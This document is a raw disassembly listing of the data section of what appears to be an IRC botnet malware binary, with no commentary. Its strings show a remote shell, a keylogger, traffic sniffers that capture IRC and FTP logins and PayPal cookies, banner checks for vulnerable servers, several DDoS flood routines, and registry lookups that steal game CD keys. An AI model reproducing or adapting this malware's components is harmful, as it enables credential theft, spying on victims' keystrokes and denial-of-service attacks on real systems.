db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co
align 4
dword_434BAC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF9+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 10h
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dword_434E64 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 ; DATA XREF: Themida_:00560B86o
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_43551C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
align 4
asc_43554C: ; DATA XREF: ___:00411C40o
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 4
dd offset off_435E10
dd offset off_435E0C
dd offset off_435E08
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:004355A4o
align 4
off_435E08 dd offset word_505446 ; DATA XREF: ___:004355A0o
off_435E0C dd offset dword_435238+11h ; DATA XREF: ___:0043559Co
off_435E10 dd offset word_544F42 ; DATA XREF: ___:00435598o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412361+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412361+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412361+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o
a366 db '366 ',0 ; DATA XREF: sub_412361+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper db 'oper ',0 ; DATA XREF: sub_412478+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o
; sub_4124EE+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412478+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124EE+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412575+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o
align 4
unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360BC db 2Dh ; - ; DATA XREF: sub_412661+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190 db 2Dh ; - ; DATA XREF: sub_412661+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_4361C0 db 2Dh ; - ; DATA XREF: sub_412661+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_436214 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B09+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_43643C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386C+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_43682C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415135+35o
dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
align 4
dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524D:loc_415282o
dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524D+20o
dword_4368A0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:0041536Ao
dd 6574656Ch, 0
dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o
; sub_4157F1+26o
align 4
dd 80000001h
off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
; sub_415A30+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o
dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0)
dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0)
dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0)
dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0)
dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0)
dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0)
dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0)
dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0)
dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0)
dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0)
dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0)
dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0)
dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0)
dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0)
dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0)
dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0)
dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0)
dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0)
dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0)
dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0)
dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0)
dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0)
dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0)
dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0)
dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0)
dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0)
dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0)
dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0)
dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0)
dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0)
dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0)
dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0)
dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0)
dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0)
dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0)
dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0)
dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0)
dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0)
dd 80000002h, 436E94h, 42C910h, 436E7Ch, 2 dup(0)
dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h
dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch
dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h
dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
